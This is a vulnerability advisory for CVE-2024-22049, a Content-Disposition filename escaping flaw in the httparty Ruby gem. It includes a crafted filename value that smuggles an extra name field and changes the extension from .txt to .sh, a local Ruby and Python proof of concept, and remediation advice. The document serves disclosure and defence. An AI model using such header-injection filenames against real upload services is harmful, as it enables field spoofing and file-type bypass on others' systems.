CVE-2024-22049: httparty Multipart/Form-Data Request Tampering Vulnerability
Impact I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.
httparty/lib/httparty/request > body.rb > def generatemultipart
https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
By exploiting this problem, the following attacks are possible
An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field. Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename
For example, this vulnerability can be exploited to generate the following Content-Disposition.
Normal Request example: normal input filename: abc.txt generated normal header in multipart/form-data Content-Disposition: form-data; name="avatar"; filename="abc.txt" Malicious Request example malicious input filename: overwritenamefieldandextension.sh"; name="foo"; dummy=".txt generated malicious header in multipart/form-data: Content-Disposition: form-data; name="avatar"; filename="overwritenamefieldandextension.sh"; name="foo"; dummy=".txt"
The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from .txt to .sh .
These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request. I have confirmed that the attack succeeds, at least in the following frameworks
Spring (Java) Ktor (Kotlin) Ruby on Rails (Ruby)
The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.
WhatWG's HTML spec has an escaping requirement.
https://html.spec.whatwg.org/#multipart-form-data
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.
Patches
As noted at the beginning of this section, encoding must be done as described in the HTML Spec.
https://html.spec.whatwg.org/#multipart-form-data
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.
Therefore, it is recommended that Content-Disposition be modified by either of the following
Before: Content-Disposition: attachment;filename="malicious.sh";dummy=.txt
After: Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"
https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
filename.gsub('"', '%22')
Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK. However, since there may be omissions, it is safer to URL encode these as well, if possible. ( \r to %0A and \d to %0D )
PoC
PoC Environment
OS: macOS Monterey(12.3) Ruby ver: ruby 3.1.2p20 httparty ver: 0.20.0 (Python3 - HTTP Request Logging Server)
PoC procedure
(Linux or MacOS is required. This is because Windows does not allow file names containing " (double-quote) .)
1. Create Project $ mkdir my-app $ cd my-app $ gem install httparty
2. Create malicious file
$ touch 'overwritenamefieldandextension.sh"; name="foo"; dummy=".txt'
3. Generate Vuln code
$ vi example.rb
require 'httparty'
filename = 'overwritenamefieldandextension.sh"; name="foo"; dummy=".txt'
HTTParty.post('http://localhost:12345/', body: { name: 'Foo Bar', email: 'example@email.com', avatar: File.open(filename) } )
4. Run Logging Server
I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture)
$ vi logging.py from http.server import HTTPServer from http.server import BaseHTTPRequestHandler
class LoggingServer(BaseHTTPRequestHandler):
def doPOST(self): self.sendresponse(200) self.endheaders() self.wfile.write("ok".encode("utf-8"))
contentlength = int(self.headers['Content-Length']) postdata = self.rfile.read(contentlength) print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), postdata.decode('utf-8')) self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
ip = '127.0.0.1' port = 12345
server = HTTPServer((ip, port), LoggingServer) server.serveforever()
$ python logging.py
5. Run & Logging server
$ run example.rb
Return Request Header & Body:
User-Agent: Ruby Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz Connection: close Host: localhost:12345 Content-Length: 457 --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="name" Foo Bar --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="email" example@email.com --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="avatar"; filename="overwritenamefieldandextension.sh"; name="foo"; dummy=".txt" Content-Type: text/plain abc --------------------------F857UcxRc2J1zFOz--
Content-Disposition: Content-Disposition: form-data; name="avatar"; filename="overwritenamefieldandextension.sh"; name="foo"; dummy=".txt"
name fields is duplicate (avator & foo) filename & extension tampering ( .txt --> .sh )
References
1. I also include a similar report that I previously reported to Firefox. https://bugzilla.mozilla.org/showbug.cgi?id=1556711
2. I will post some examples of frameworks that did not have problems as reference.
Golang https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144
Spring https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267
Symphony https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133
For more information If you have any questions or comments about this advisory: Email us at kumagoroalice@yahoo.co.jp
Other sources
httparty before 0.21.0 is vulnerable to an assumed-immutable web parameter vulnerability. A remote and unauthenticated attacker can provide a crafted filename parameter during multipart/form-data uploads which could result in attacker controlled filenames being written.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rubygems/httpartyto a version that resolves this vulnerability.Fixed in 0.21.0 - Upgrade
Upgrade
httpartyto a version that resolves this vulnerability.Fixed in 0.21.0 - Configuration
When generating multipart/form-data, apply the required escaping for Content-Disposition 'filename' values: replace any LF (0x0A) bytes with %0A, CR (0x0D) with %0D, and double-quote (0x22, ") with %22, and avoid performing any other escapes in the user agent.
httparty Multipart/Form-Data generation (Content-Disposition header) Content-Disposition filename escaping = Escape 0x22 (") as %22 (and replace 0x0A as %0A, 0x0D as %0D) when generating multipart/form-data 'filename' parameter
Event History
Frequently Asked Questions
What is the severity of CVE-2024-22049?
CVE-2024-22049 has been categorized as a moderate severity vulnerability due to the potential for multipart/form-data request tampering.
How do I fix CVE-2024-22049?
To fix CVE-2024-22049, update the httparty package to version 0.21.0 or later.
What versions of httparty are affected by CVE-2024-22049?
CVE-2024-22049 affects httparty versions up to and including 0.20.0.
What type of vulnerability is CVE-2024-22049?
CVE-2024-22049 is a multipart/form-data request tampering vulnerability caused by improper handling of Content-Disposition.
Who is the maintainer of the affected software related to CVE-2024-22049?
The affected software httparty is maintained by John Nunemaker.